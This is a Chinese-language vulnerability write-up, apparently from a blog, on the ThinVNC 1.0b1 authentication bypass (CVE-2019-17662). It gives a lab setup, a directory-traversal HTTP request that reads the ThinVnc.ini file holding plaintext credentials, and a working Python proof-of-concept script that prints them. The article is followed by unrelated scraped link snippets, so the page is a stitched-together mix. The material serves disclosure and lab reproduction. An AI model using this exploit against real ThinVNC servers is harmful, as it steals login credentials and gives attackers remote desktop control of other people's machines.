ThinVnc-身份验证绕过(CVE-2019-17662)
ThinVnc-身份验证绕过(CVE-2019-17662)
简介
ThinVNC是一款以网页浏览器为基础设计的远端桌面连接工具,不局限用户端使用那种作业平台,都可以通过采用HTML5为标准的浏览器来达到远端控制。通过利用最新的网络技术如AJAX,WebSockets和HTML5等,ThinVNC提供安全的,高性能的基于web的远程桌面访问。
影响范围
ThinVnc 1.0b1
漏洞成因
ThinVNC使用基本身份验证对用户进行身份验证以访问Web VNC界面。部署VNC服务器时,将在服务器端设置要使用的凭据。没有运行VNC服务器的固定端口,当尝试使用错误的身份验证凭据进行多重验证时,它将引发HTTP 401错误。可以使用以下向量来绕开它:
/../../../../../../../../../windows/win.ini
此目录遍历攻击向量使我们可以读取系统上的任何文件。我们可以使用相同的向量来窃取VNC客户端的凭据。窃取它们后,我们可以使用凭据来破坏VNC服务器。妥协后,我们可以通过终端访问VNC服务器。
修复方法
(1)禁止存储明文凭证
(2)切勿使用HTTP进行基本身份验证
环境搭建
1、测试环境
靶机:
windows 7 x64
IP:192.168.157.131
攻击机:
windows 10 X64
IP:192.168.1.115
2、下载ThinVnc 客户端
3、解压ThinVnc到靶机,无需安装,直接打开exe文件,开启服务即可。
服务开启后根目录生成配置文件,存储着vnc的明文登录凭证
漏洞复现
1、访问http://192.168.157.131:8080/进入vnc登录界面
2、接下来我们就可以构造payload来读取ThinVnc配置文件,payload如下:
GET /xyz/../../ThinVnc.ini HTTP/1.1
Host: 192.168.157.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Authorization: Digest username="admin", realm="ThinVNC", nonce="4yTOn+9f5UCoxvEB71/lQA==", uri="/windows/win.ini", response="676e14e9f98fd8147521a329f3e3c6f4", opaque="WRYFjqkyGmRk8RVWldmvJSyiFcL09YpGvw", qop=auth, nc=00000003, cnonce="1ca209d91259e628"
Connection: close
Upgrade-Insecure-Requests: 1
3、利用获取的口令,通过vnc直接连接到服务器上去
4、附POC
#!/usr/bin/python3
import sys
import requests
def exploit(host,port):
url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
r = requests.get(url)
body = r.text
print(body.splitlines()[2])
print(body.splitlines()[3])
def main():
if(len(sys.argv)!=3):
print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
print("Example:\n{} 192.168.157.131 8080")
else:
port = sys.argv[2]
host = sys.argv[1]
exploit(host,port)
if __name__ == '__main__':
main()
参考链接:
- https://sourceforge.net/projects/thinvnc/
- https://redteamzone.com/ThinVNC/
- https://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html
ThinVnc-身份验证绕过(CVE-2019-17662)的更多相关文章
- Phpspy 2011继续身份验证绕过漏洞
Author: Tm3yShell7 官方目前下载已经修补上了 目前官方下载是2011.php, 文件名为2011ok.php的是带洞版本. 今天m0r5和我说phpspy2011 我都不知道2011 ...
- SSH登陆验证绕过漏洞(cve-2018-10933)
名称: SSH登陆验证绕过漏洞 CVE-ID: cve-2018-10933 EXPLOIT-DB: https://www.exploit-db.com/exploits/45638/ 平台: Li ...
- Apache HBase RPC身份验证中间人安全措施绕过漏洞(CVE-2013-2193)
漏洞版本: Apache Group HBase 0.94.x Apache Group HBase 0.92.x 漏洞描述: BUGTRAQ ID: 61981 CVE(CAN) ID: CVE-2 ...
- zabbix身份验证流程解析&绕过身份验证的方法
由于实验室产品的监控模块的需求,需要绕过zabbix的验证模块,实现从二级平台到zabbix的无缝接入. 测试发现,zabbix的身份验证并不是想象的那么简单,为了实现功能,遂进行源码分析. zabb ...
- ASP.NET Core 项目简单实现身份验证及鉴权
ASP.NET Core 身份验证及鉴权 目录 项目准备 身份验证 定义基本类型和接口 编写验证处理器 实现用户身份验证 权限鉴定 思路 编写过滤器类及相关接口 实现属性注入 实现用户权限鉴定 测试 ...
- ASP.NET Forms身份验证概述
表单身份验证允许您使用自己的代码对用户进行身份验证,然后在cookie或页面URL中维护身份验证令牌.表单身份验证通过FormsAuthenticationModule类参与ASP.NET页面生命周期 ...
- Openfire:访问Servlet时绕开Openfire的身份验证
假设有如下的场景,当我们开发一个允许Servlet访问的OF插件时,如果不需要身份验证的话,或者有其它的安全机制的话,我们会不希望每次都做一次OF的身份验证,而是能够直接访问Servlet.绕开身份验 ...
- 简单服务器端Blazor Cookie身份验证的演示
为了演示身份验证如何在服务器端 Blazor 应用程序中工作,我们将把身份验证简化为最基本的元素. 我们将简单地设置一个 cookie,然后读取应用程序中的 cookie. 应用程序身份验证 大多数商 ...
- WEB安全新玩法 [2] 防范前端验证绕过
用户登录,几乎是所有 Web 应用所必须的环节.Web 应用通常会加入一些验证手段,以防止攻击者使用机器人自动登录,如要求用户输入图形验证码.拖动滑动条等.但是,如果验证的逻辑仅仅在前端执行,是很容易 ...
随机推荐
- WPF Animation For SizeChanged Of UIElement
效果图 学到一个新词: Show me the money 背景 这几天查资料,看到 CodeProject 上面的一篇 Post <Advanced Custom TreeView Layou ...
- 大数据开发-Spark-初识Spark-Graph && 快速入门
1.Spark Graph简介 GraphX 是 Spark 一个组件,专门用来表示图以及进行图的并行计算.GraphX 通过重新定义了图的抽象概念来拓展了 RDD: 定向多图,其属性附加到每个顶点和 ...
- Zabbix 监控 SNMP & JMX
Zabbix 配置清华源 # 安装清华源 yum 仓库 [root@db01 ~]# rpm -ivh https://mirrors.tuna.tsinghua.edu.cn/zabbix/zabb ...
- System.Windows.Forms.Help
在开发过程中,基本都需要实现帮助功能,而一般帮助功能就是打开一个帮助文档,System.Windows.Forms提供了Help类用于打开帮助文档,挺方便的. Help类提供的方法如下: Name ...
- codeforces 1019B The hat 【交互题+二分搜索】
题目链接:戳这里 学习题解:戳这里
- TypeScript Errors All In One
TypeScript Errors All In One 1. Property 'name' has no initializer and is not definitely assigned in ...
- 浏览器缓存 All In One
浏览器缓存 All In One HTTP 缓存 强缓存 expired Cache-Control max-age s-maxage 协商缓存 E-tag last-modified 本地缓存 co ...
- 使用 js 实现一个简易版的 vue 框架
使用 js 实现一个简易版的 vue 框架 具有挑战性的前端面试题 refs https://www.infoq.cn/article/0NUjpxGrqRX6Ss01BLLE xgqfrms 201 ...
- React + GraphQL 2020 速成课程
React + GraphQL 2020 速成课程 technologies React (to build our user interface) GraphQL (to get and chang ...
- flex & flex-wrap
flex & flex-wrap https://css-tricks.com/almanac/properties/f/flex-wrap/ https://developer.mozill ...